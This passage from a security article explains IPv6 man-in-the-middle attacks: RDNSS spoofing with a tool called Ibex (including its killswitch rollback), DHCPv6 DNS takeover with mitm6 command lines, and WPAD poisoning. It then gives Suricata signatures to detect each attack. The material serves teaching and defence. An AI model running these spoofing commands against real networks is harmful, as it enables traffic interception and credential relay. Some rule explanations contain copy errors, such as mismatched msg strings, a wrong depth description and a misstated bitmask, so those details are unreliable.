Register with which suffix: Primary only
After:
C:\Windows\system32>netsh interface ipv6 show dnsservers
Configuration for interface "Ethernet0"
DNS servers configured through DHCP: fe80::20c:29ff:fe3b:ac5f%6
Register with which suffix: None
Configuration for interface "Loopback Pseudo-Interface 1"
Statically Configured DNS Servers: fec0:0:0:ffff::1%1
fec0:0:0:ffff::2%1
fec0:0:0:ffff::3%1
Register with which suffix: Primary only
It is important to understand the difference between mitm
mode and dnsinject mode
In MITM spoofing, the attacker imposes itself as both a router and a DNS server. All IPv6 traffic goes through the attacking machine, and DNS queries go to its DNS64.
With RDNSS spoofing (dnsinject
), the attacker only slips in their own DNS through the RDNSS option in RA, but does not replace the default gateway (routerlifetime=0
). Traffic to resources goes directly through the real router, but DNS requests go through the attacker.
Canceling an Attack and Recovering
When conducting MITM attacks on IPv6, it is critical to ensure that the attack is completed correctly and that the system returns to its original state. If the attacker stops sending RA packets, this does not mean that normal routing will automatically be restored on the victims' side.
Fake entries will remain in the route tables and DNS server lists of clients until the declared lifetime (routerlifetime
and dns_lifetime
) expires.
To immediately deactivate the attacking router, an RA packet with the routerlifetime=0
parameter is sent. This packet informs clients that this node is no longer a valid router and forces them to delete the corresponding route from their table. Similarly, setting dns_lifetime=0
invalidates the spoofed DNS records. This ensures that the attack is completed correctly without having to wait for the timers to expire properly.
In Ibex, this logic is implemented in the killswitch module. When called, the following actions are performed:
- A final RA packet is sent with
routerlifetime=0
anddns_lifetime=0
, which removes the attacking machine from the client tables; - All active spoofing streams are stopped (spoof module);
- System parameters and network settings are restored via the tuning module (promiscuous mode is disabled, sysctl is restored);
- NAT64 (
tayga
) and DNS64 (bind9
), which were launched for routing and AAAA record synthesis, are terminated.
ibex> killswitch
[*] Ibex Killswitch Mode: Stopping attacks and network recovery
---[ RA Spoofing ]---------------------------------
[✓] RA Spoofing disabled (lifetime set to 0)
---[ System Tuning ]-------------------------------
[*] Auto-detected interface: eth0
[*] Reverting tuning for eth0...
[+] Restore net.ipv6.conf.all.forwarding
[+] Restore net.ipv4.ip_forward
[+] Restore net.ipv6.conf.all.accept_ra
[+] Restore net.ipv6.conf.all.accept_redirects
[+] Restore fs.file-max
[+] Restore net.core.somaxconn
[+] Restore net.core.netdev_max_backlog
[+] Restore net.ipv4.tcp_fin_timeout
[+] Restore net.ipv4.tcp_tw_reuse
[+] Restore net.ipv4.tcp_max_tw_buckets
[+] Restore net.ipv4.tcp_window_scaling
[+] Snapshot restored and /tmp/ibex_tuning_snapshot.json removed
[+] Disable promiscuous mode
[+] Remove ICMPv6 redirect DROP IN
[+] Remove ICMPv6 redirect DROP OUT
[+] Remove FORWARD rule
[+] Remove MASQUERADE rule
[*] Tuning reverted
---[ NAT64 (Tayga) ]-------------------------------
[*] Interface auto-detected: eth0
[*] Stopping NAT64 infrastructure...
[*] Found tayga process: PID 2913
[*] Removing interface addresses:
- 2001:db8:1::2/64 from eth0
- 2001:db8:1::3 from nat64
- 192.168.255.1 from nat64
[*] Deleting routes:
- IPv6: 2001:db8:1:FFFF::/96
- IPv4: 192.168.255.0/24
[*] Removing iptables rules:
- MASQUERADE for eth0
- FORWARD nat64 → iface
- FORWARD iface → nat64 (RELATED,ESTABLISHED)
[*] Bringing down and deleting interface nat64
[*] Killing tayga process...
[*] NAT64 stopped.
---[ DNS64 (named) ]-------------------------------
[*] Stopping DNS64 service (named)...
[*] Found named process: PID 2919
[✓] named terminated (PID 2919 from file).
[*] Deleting config: /var/lib/ibex/dns64/named.conf
[*] nameserver ::1 removed from /etc/resolv.conf
[*] Cleaned up DNS64 state (resolv.conf, temp dirs)
[✓] DNS64 stopped.
In Ibex, killswitch callsModeManager.stop_all()
, which forcibly sends a final RA withrouter_lifetime=0
anddns_lifetime=0
(seeRASpoofer.stop()
), then rolls back sysctl/iptables viaTuningShell.do_stop()
and shuts down NAT64/DNS64.
The necessary packet to cancel the attack will look like this:

routerlifetime=0
:dns_lifetime=0
Thus, killswitch guarantees a complete rollback of all changes and prevents a situation where users are left with unusable routes or incorrect DNS records.
Well, if RDNSS Spoofing works via ICMPv6 RA and is not supported on all versions of Windows, then DHCPv6 attacks remain a universal vector for most corporate networks. Let's take a closer look at them using the example of mitm6.
IPv6 DNS Takeover (DHCPv6)
One of the most popular utilities in the arsenal of pentesters for attacking Windows networks.
mitm6 is a tool for attacking IPv6, providing capabilities for DNS spoofing over IPv6.
Since IPv6 is enabled by default in Windows and has priority over IPv4, this tool is particularly effective when pentesting a network with IPv4 addressing. mitm6 relies on sending specific DHCPv6 packets.
DHCPv6 Packet Types
The DHCPv6 protocol has the following message types:
- DHCPv6 Solicit: This message is sent by the client to initiate communication with DHCPv6 servers. The client broadcasts or multicasts this message to identify available DHCP servers on the network. DHCPv6 servers, upon receiving Solicit, may respond with a DHCP Advertise message offering their configuration.
- DHCPv6 Advertise: This message is the DHCPv6 server's response to a DHCPv6 Solicit message received from the client. The server uses this message to tell the client that it is available to send configuration (def. GW, DNS Server, etc)
- DHCPv6 Request: After receiving DHCPv6 Advertise, the client selects a DHCPv6 server and sends a DHCPv6 Request packet to that server to formally request the proposed settings. This message can also be used to confirm or update previously received configuration settings when reconnecting the device to the network.
- DHCPv6 Reply: The DHCPv6 Reply message is used by the server to confirm the provisioning or updating of an IP address and other configuration parameters to a device. It can also be sent by the server in response to a DHCP
- Release message from a client when the client releases a leased IP address.
SLAAC to DHCPv6 Downgrade
By default, mitm6 generates a specific RA that forces hosts to use DHCPv6, even if they have an address configured using SLAAC.

M=1
and O=1
(Downgrade to DHCPv6)The screenshot shows an intercepted ICMPv6 Router Advertisement packet (type 134
) sent by mitm6. Its key features are:
- The Router Lifetime field is set to
0
This means that the node is not declared as a router and is not added to the gateway table; - Two bits are set in the Flags section:
M (Managed Address Configuration) = 1
, which indicates that the host must use DHCPv6 to obtain an address. And also bitO (Other configuration) = 1
, which indicates that the host must use DHCPv6 to obtain auxiliary parameters, including DNS; - Additionally,
Prf=High
is set, althoughRouter Lifetime = 0
This does not affect the choice of gateway, but emphasizes the priority of RA packet processing.
These parameters determine the behavior of the Windows client: upon receiving such an RA, the system assumes that DHCPv6 must be used in the segment to configure network parameters, including DNS servers.
Subsequently, mitm6 will send specific DHCPv6 Advertise messages, within which the attacker will impose itself on hosts as an IPv6 DNS server.
However, mitm6 can work without this RA by specifying --no-ra
, which is useful where RA Guard is configured on networks.
caster@kali:~$ sudo mitm6 -i eth0 --no-ra
Attack with mitm6
Typically, Windows sends DHCPv6 Solicit in an unspecified order in the hope of receiving a configuration from the server. This Solicit looks like this:

In this case, to attack DHCPv6 specifically, he will need to send an Advertise message. In other words, the attacker can use this to impose his computer as the DNS server address at the IPv6 layer. This is what the mitm6 tool actually does.
caster@kali:~$ sudo mitm6 -i eth0
When pentesting enterprise infrastructure, it is recommended to use the -d
argument, which allows you to spoof a specific domain. By default, mitm6 spoofs absolutely everything, which significantly increases the risk of DoS.

Attacker's Address: fe80:20c:29ff:fe3b:ac5f
State of interfaces on host after sending DHCPv6 Advertise. Second link-local address fe80::5289:1
appeared:
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection
Physical Address. . . . . . . . . : 00-0C-29-15-25-32
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::5289:1%6(Preferred)
Lease Obtained. . . . . . . . . . : Friday, August 29, 2025 12:49:07 PM
Lease Expires . . . . . . . . . . : Friday, August 29, 2025 12:57:27 PM
Link-local IPv6 Address . . . . . : fe80::f884:cdda:898c:340%6(Preferred)
Default Gateway . . . . . . . . . :
DHCPv6 IAID . . . . . . . . . . . : 100666409
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-30-3D-81-F1-00-0C-29-15-25-32
DNS Servers . . . . . . . . . . . : fe80::20c:29ff:fe3b:ac5f%6
NetBIOS over Tcpip. . . . . . . . : Disabled
C:\Windows\system32>
Why 300 seconds?
This value is hardcoded in the mitm6 tool code. Be careful.

After this attack, the attacker's link-local IPv6 address will appear in the target host's system as an IPv6 DNS server:

This opens up opportunities for attackers to perform NTLM Relay, intercept DNS requests, attack WPAD, and much more.
It is a fairly simple attack to execute, but it requires special caution and a detailed understanding of the process to avoid DoS.
Detection
In this chapter, I would like to discuss the method of detecting attacks on IPv6 using signatures for Suricata IDS. I will demonstrate which signatures are needed to detect specific ICMPv6/DHCPv6 packets.
RA Packet
In a typical IPv6 network, RA packets should only come from legitimate routers connected to the segment. However, in most corporate infrastructures, especially those that are primarily IPv4-based, RA packets from end hosts in user segments are an anomaly and can often indicate an attempted attack.
The signature for detecting RA will look like this:
alert icmpv6 any any -> ff02::1 any (msg:"ICMPv6 Router Advertisement Packet Detected";itype:134; sid:100000; rev:1; metadata:protocol icmpv6;)
The traffic directions any any
are specified here for demonstration purposes. Of course, the rules must be adapted in production.
alert
- indicates the type of rule. In this case, alert
indicates that a warning will be generated when the rule is triggered;icmpv6
- protocol to which the rule applies;any any
- source address and port. The keyword any means no restrictions: the rule will apply to any IPv6 address and any source port. For ICMPv6, the port is not used, so any is specified;ff02::1 any
- destination address and port. In this case, the IPv6 multicast address ff02::1, which means "all nodes on the local segment";msg:“ICMPv6 Router Advertisement Packet Detected”
- a text message that will be logged when the rule is triggered. Used to identify the event by the operator.itype:134
- additional condition. The itype field indicates the type of ICMPv6 message, which must be equal to 134. The value 134
corresponds to the Router Advertisement packet;sid:100000
- signature ID. A unique number used to refer to this specific rule. Within a set of rules, the SID must be unique;rev:1
- rule revision number. Increases by one when the rule is changed or corrected;metadata:protocol icmpv6
- metadata field used for additional information. In this case, it specifies that the rule applies to ICMPv6.
Now to verify that this signature works:
caster@kali:~$ sudo suricata -c /etc/suricata/suricata.yaml -r mitm6.pcap
[sudo] password for caster:
i: suricata: This is Suricata version 7.0.10 RELEASE running in USER mode
W: detect: No rule files match the pattern /var/lib/suricata/rules/suricata.rules
i: threads: Threads created -> RX: 1 W: 8 FM: 1 FR: 1 Engine started.
i: suricata: Signal Received. Stopping engine.
i: pcap: read 1 file, 58 packets, 6227 bytes
caster@kali:~$ cat fast.log
08/29/2025-23:49:05.041518 [**] [1:100000:1] ICMPv6 Router Advertisement Packet Detected [**] [Classification: (null)] [Priority: 3] {IPv6-ICMP} fe80:0000:0000:0000:020c:29ff:fe3b:ac5f:134 -> ff02:0000:0000:0000:0000:0000:0000:0001:0

SLAAC to DHCPv6 Downgrade Detection
Router Advertisement packets contain control flags that determine how clients will obtain their network configuration. Two flags are key to security:
- M (Managed Address Configuration) with a value of
1
requires the host to use DHCPv6 to obtain an IPv6 address; - O (Other Configuration) with a value of
1
, the host must use DHCPv6 to obtain additional parameters, such as DNS server addresses.
From the attacker's point of view, this is a downgrade vector. By injecting RA with M=1 and O=1
, it forces hosts to switch to DHCPv6 and can then impersonate a DHCPv6 server, substituting malicious DNS servers or other parameters.
To detect such packets, it is sufficient to monitor ICMPv6 RA (type 134
) and check the flag field. In hexadecimal representation, the value 0xc8
corresponds to the combination M=1
and O=1
with the router priority set to High.
To detect such packets, you can use this signature:
alert icmpv6 any any -> ff02::1 any (msg:"Attempt to downgrade to DHCPv6 detected: M=1, O=1"; itype:134; content:"|c8|"; offset:0; depth:6; sid:100002; rev:1; metadata:protocol icmpv6;)
alert
- indicates the type of rule. In this case, alert
indicates that a warning will be generated when the rule is triggered;icmpv6
- protocol to which the rule applies;any any
- source address and port. The keyword any means no restrictions: the rule will apply to any IPv6 address and any source port. For ICMPv6, the port is not used, so any is specified;ff02::1 any
- destination address and port. In this case, the IPv6 multicast address ff02::1, which means "all nodes on the local segment";msg:“ICMPv6 Router Advertisement Packet Detected”
- a text message that will be logged when the rule is triggered. Used to identify the event by the operator;itype:134
- additional condition. The itype field indicates the type of ICMPv6 message, which must be equal to 134. The value 134
corresponds to the Router Advertisement packet;content:"|c8|"
- search for the specified byte in the packet payload. The hexadecimal value c8 corresponds to the combination of flags M=1 and O=1 (and router priority High) in RA;offset:0;
depth:6
- specify the position where the search is performed. Offset=0
means the beginning of the ICMPv6 header payload, depth=6
limits the search to the first six bytes;sid:100002
- Signature ID. A unique value that can be used to refer to this rule in the set;rev:1
- the revision number of the rule. Increases when the rule is changed or corrected;metadata:protocol icmpv6
- metadata. This indicates that the rule applies to the ICMPv6 protocol;
Now to verify that this signature works:
caster@kali:~$ sudo suricata -c /etc/suricata/suricata.yaml -r mitm6.pcap
i: suricata: This is Suricata version 7.0.10 RELEASE running in USER mode
i: threads: Threads created -> RX: 1 W: 8 FM: 1 FR: 1 Engine started.
i: suricata: Signal Received. Stopping engine.
i: pcap: read 1 file, 58 packets, 6227 bytes
caster@kali:~$ cat fast.log
\08/29/2025-23:49:05.041518 [**] [1:100002:1] Attempt to downgrade to DHCPv6 detected: M=1, O=1 [**] [Classification: (null)] [Priority: 3] {IPv6-ICMP} fe80:0000:0000:0000:020c:29ff:fe3b:ac5f:134 -> ff02:0000:0000:0000:0000:0000:0000:0001:0

M=1:O=1
Flags DetectRDNSS
When analyzing traffic, the presence of the RDNSS option in the RA packet is a clear indicator of a potential attack.
To do this, you can write a signature in Suricata that detects the presence of the 0x19
option code reserved for RDNSS:
alert icmpv6 any any -> ff02::1 any (msg:"Detection of ICMPv6 RA packet with RDNSS header. Possible DNS Spoofing"; itype:134; content:"|19|"; offset:0; depth:57; sid:100003; rev:1; metadata:protocol icmpv6;)
alert
- indicates the type of rule. In this case, alert
indicates that a warning will be generated when the rule is triggered;icmpv6
- protocol to which the rule applies;any any
- source address and port. The keyword any means no restrictions: the rule will apply to any IPv6 address and any source port. For ICMPv6, the port is not used, so any is specified;ff02::1 any
- destination address and port. In this case, the IPv6 multicast address ff02::1, which means "all nodes on the local segment";msg:“ICMPv6 Router Advertisement Packet Detected”
- a text message that will be logged when the rule is triggered. Used to identify the event by the operator;itype:134
- additional condition. The itype field indicates the type of ICMPv6 message, which must be equal to 134. The value 134
corresponds to the Router Advertisement packet;content:“|19|”
- content search condition. 0x19 is the ICMPv6 option code corresponding to the RDNSS header;offset:0; depth:57
- search is limited to the first 57 bytes of the ICMPv6 packet payload. This ensures that the rule will work specifically on the RDNSS option inside RA, since the option code appears in headers after fixed fields;sid:100003
- Signature ID. Used to distinguish rules within a set;rev:
1 - rule revision. Increases when the signature is changed or refined;metadata:protocol icmpv6
- additional metadata field indicating that the rule applies to ICMPv6.
Now to verify that this signature works:
caster@kali:~$ sudo suricata -c /etc/suricata/suricata.yaml -r rdnss.pcap
i: suricata: This is Suricata version 7.0.10 RELEASE running in USER mode
i: threads: Threads created -> RX: 1 W: 8 FM: 1 FR: 1 Engine started.
i: suricata: Signal Received. Stopping engine.
i: pcap: read 1 file, 3 packets, 402 bytes
caster@kali:~$ cat fast.log
09/01/2025-01:07:20.569262 [**] [1:100003:1] Detection of ICMPv6 RA packet with RDNSS header. Possible DNS Spoofing [**] [Classification: (null)] [Priority: 3] {IPv6-ICMP} fe80:0000:0000:0000:020c:29ff:fe3b:ac5f:134 -> ff02:0000:0000:0000:0000:0000:0000:0001:0
09/01/2025-01:07:22.721037 [**] [1:100003:1] Detection of ICMPv6 RA packet with RDNSS header. Possible DNS Spoofing [**] [Classification: (null)] [Priority: 3] {IPv6-ICMP} fe80:0000:0000:0000:020c:29ff:fe3b:ac5f:134 -> ff02:0000:0000:0000:0000:0000:0000:0001:0
09/01/2025-01:07:24.887246 [**] [1:100003:1] Detection of ICMPv6 RA packet with RDNSS header. Possible DNS Spoofing [**] [Classification: (null)] [Priority: 3] {IPv6-ICMP} fe80:0000:0000:0000:020c:29ff:fe3b:ac5f:134 -> ff02:0000:0000:0000:0000:0000:0000:0001:0

DHCPv6
DHCPv6 traffic can also be monitored at the IDS layer. DHCPv6 uses the UDP protocol, and an attacker acting as a DHCPv6 server uses port UDP/546 to interact with target hosts.
The first rule responds to Advertise messages. The DHCPv6 packet type code is 0x02
, which indicates a server response to a client offering configuration parameters:
alert udp any any -> any 546 (msg:"DHCPv6 Advertise Packet Detected. Possible DHCPv6 Spoofing"; content:"|02|"; depth:1; offset:0; sid:100004; rev:1;)
alert
- rule type. In this case, alert means that a warning will be generated when the rule is triggered.udp
- transport layer protocol to which the rule appliesany any
- source address and port;any 546
- destination address and port. Here, port 546 is specified, which is used by the DHCPv6 client to receive responses;msg:“DHCPv6 Advertise Packet Detected. Possible DHCPv6 Spoofing”
- a message that will be recorded when the rule is triggered. Used to identify the event by the operator;content:"|02|"
- search for the value 0x02 in the packet payload. This byte indicates that the message is a DHCPv6 Advertise;depth:1
- analysis depth in bytes. A value of 1
means that the check is limited to the first byte after the UDP header, which contains the DHCPv6 message type;offset:0
- offset relative to the start of the UDP payload. Here, the check starts from the very beginning of the DHCPv6 packet;sid:100004
- Signature ID. Each rule must have a unique SID;rev:1
- rule version. Increases when the rule is changed or modified.
Verification of this signature:
caster@kali:~$ sudo suricata -c /etc/suricata/suricata.yaml -r mitm6.pcap
i: suricata: This is Suricata version 7.0.10 RELEASE running in USER mode
i: threads: Threads created -> RX: 1 W: 8 FM: 1 FR: 1 Engine started.
i: suricata: Signal Received. Stopping engine.
i: pcap: read 1 file, 58 packets, 6227 bytes
caster@kali:~$ cat fast.log
08/29/2025-23:49:06.101475 [**] [1:100004:1] DHCPv6 Advertise Packet Detected. Possible DHCPv6 Spoofing [**] [Classification: (null)] [Priority: 3] {UDP} fe80:0000:0000:0000:020c:29ff:fe3b:ac5f:547 -> fe80:0000:0000:0000:f884:cdda:898c:0340:546

Second signature is designed to search for the Recursive DNS Server option (code 23
, 0x0017
) within DHCPv6 messages. It can be present in both Advertise and Reply packets.
Thus, this rule signals an attempt to impose DNS servers on clients, which is essentially a DNS spoofing attack:
alert udp any any -> any 546 (msg:"Detected DHCPv6 Advertise/Reply Packets with the DNS option. Possible DNS Spoofing over IPv6"; content:"|00 17|"; depth:57; offset:0; sid:100005; rev:1;)
alert
- rule type. In this case, alert means that a warning will be generated when the rule is triggered.udp
- transport layer protocol to which the rule appliesany any
- source address and port;any 546
- destination address and port. Here, port 546 is specified, which is used by the DHCPv6 client to receive responses;msg:"Detected DHCPv6 Advertise/Reply Packets with the DNS option. Possible DNS Spoofing over IPv6"
- a message that will be recorded when the rule is triggered. Used to identify the event by the operator;content:"|00 17|"
- checking for the presence of the byte sequence 00 17
, which corresponds to the Recursive DNS Server option (code 23
) in DHCPv6;depth:57
- analysis depth in bytes. A value of 1
means that the check is limited to the first byte after the UDP header, which contains the DHCPv6 message type;offset:0
- offset relative to the start of the UDP payload. Here, the check starts from the very beginning of the DHCPv6 packet;sid:100005
- Signature ID. Each rule must have a unique SID;rev:1
- rule version. Increases when the rule is changed or modified.
Verification of this signature:
caster@kali:~$ sudo suricata -c /etc/suricata/suricata.yaml -r mitm6.pcap
i: suricata: This is Suricata version 7.0.10 RELEASE running in USER mode
i: threads: Threads created -> RX: 1 W: 8 FM: 1 FR: 1 Engine started.
i: suricata: Signal Received. Stopping engine.
i: pcap: read 1 file, 58 packets, 6227 bytes
caster@kali:~$ cat fast.log
08/29/2025-23:49:06.101475 [**] [1:100005:1] Detected DHCPv6 Advertise/Reply Packets with the DNS option. Possible DNS Spoofing over IPv6 [**] [Classification: (null)] [Priority: 3] {UDP} fe80:0000:0000:0000:020c:29ff:fe3b:ac5f:547 -> fe80:0000:0000:0000:f884:cdda:898c:0340:546
08/29/2025-23:49:06.228263 [**] [1:100005:1] Detected DHCPv6 Advertise/Reply Packets with the DNS option. Possible DNS Spoofing over IPv6 [**] [Classification: (null)] [Priority: 3] {UDP} fe80:0000:0000:0000:020c:29ff:fe3b:ac5f:547 -> fe80:0000:0000:0000:f884:cdda:898c:0340:546

WPAD Poisoning over IPv6
An attacker can also perform WPAD Poisoning over IPv6
Because an attacker using mitm6 can spoof DNS, an attacker can exploit WPAD to intercept and manipulate web traffic, such as:
- DNS Spoofing: An attacker can send spoofed DNS responses for WPAD requests, forcing clients to download PAC files from a malicious server. This allows the attacker to control web traffic by routing it through their proxy server;
- Man-in-the-Middle (MitM) Attack: With spoofed proxy settings, an attacker can intercept, modify, or block web traffic.
However, it is possible to write a signature that would detect malicious DNS responses against WPAD:
alert udp ::/0 53 -> any any (msg:"Detected Malicious WPAD DNS Response over IPv6"; byte_test:1,&,0x7F,2; content:"|00 04|wpad"; nocase; fast_pattern; sid:100006; rev:1;)
alert
- indicates the type of rule. In this case, alert
indicates that a warning will be generated when the rule is triggered;udp
- indicates the transport layer protocol to which the rule will respond;::/0 53
is the source IP address and port. ::/0
means any IPv6 address, and 53
is the standard DNS port;msg: "Malicious WPAD Response over IPv6"
is the message that will be displayed when the rule is triggered;byte_test:1,&,0x7F,2;
- used to check a specific flag in the DNS header:
- DNS header starts with 12 bytes. At position 2 (given the offset, where 0 is the first byte) is the part of the header that includes the operation control flags (such as
QR
,OPCODE
,AA
,TC
,RD
,RA
,Z
, andRCODE
); - The
0x7F
mask is applied to this byte to check if the highest (most significant) bit is set. In the DNS context, this is the QR bit, which indicates whether the message is a request(0)
or a response(1)
This byte_test:1,&,0x7F,2
is used to ensure that the packet is a DNS response and not a request. This is important because the signature is aimed at detecting malicious DNS responses associated with WPAD. An attacker can use spoofed DNS responses to manipulate WPAD settings and redirect traffic through a malicious proxy;
content:"|00 04|wpad"
is the packet content that must be detected to activate the signature. |00 04|
is a byte sequence followed by the string "wpad";nocase
is an option specifying that the comparison should ignore letter case;fast_pattern
- a directive that optimizes the search for this signature by using the longest content string as the primary filter;sid:100006
- Signature ID. This is a number that uniquely identifies the rule in the rule set;rev:1
- indicates the version of the rule. This is a number that is incremented when the rule is updated or modified.
Verification of this signature:
caster@kali:~$ sudo suricata -c /etc/suricata/suricata.yaml -r mitm6.pcap
i: suricata: This is Suricata version 7.0.10 RELEASE running in USER mode
i: threads: Threads created -> RX: 1 W: 8 FM: 1 FR: 1 Engine started.
i: suricata: Signal Received. Stopping engine.
i: pcap: read 1 file, 195 packets, 15654 bytes
caster@kali:~$ cat fast.log
05/11/2024-14:11:40.088230 [**] [1:100006:1] Detected Malicious WPAD DNS Response over IPv6 [**] [Classification: (null)] [Priority: 3] {UDP} fe80:0000:0000:0000:020c:29ff:fe4d:cc91:53 -> fe80:0000:0000:0000:0000:0000:6216:0001:52836
05/11/2024-14:11:40.135471 [**] [1:100006:1] Detected Malicious WPAD DNS Response over IPv6 [**] [Classification: (null)] [Priority: 3] {UDP} fe80:0000:0000:0000:020c:29ff:fe4d:cc91:53 -> fe80:0000:0000:0000:0000:0000:6216:0001:58464

This is how you can detect attacker packets based on network traffic analysis. However, protection mechanisms such as RA Guard, DHCPv6 Guard, and NDP Inspection are also necessary, as they allow you to filter unwanted traffic from the attacker's machine at the switch layer:
Feature | What Does | Where is it configured |
---|---|---|
RA Guard | Filters ICMPv6 RA | Access Switch |
DHCPv6 Guard | Filters DHCPv6 Server Replies | Access Switch |
ND Inspection (SAVI) | Binding IPv6↔MAC↔port | Access Switch |
Outro
In this article, I have discussed attacks on IPv6. I also decided that it was necessary to mention detection methods based on traffic analysis.
The main point is that most of these attacks are possible because of the trust on which IPv6 protocols are based, which opens up opportunities for attackers.
In enterprise networks, an effective way to counter such attacks is to properly configure IPv6 security features on switches in combination with IDS rules.
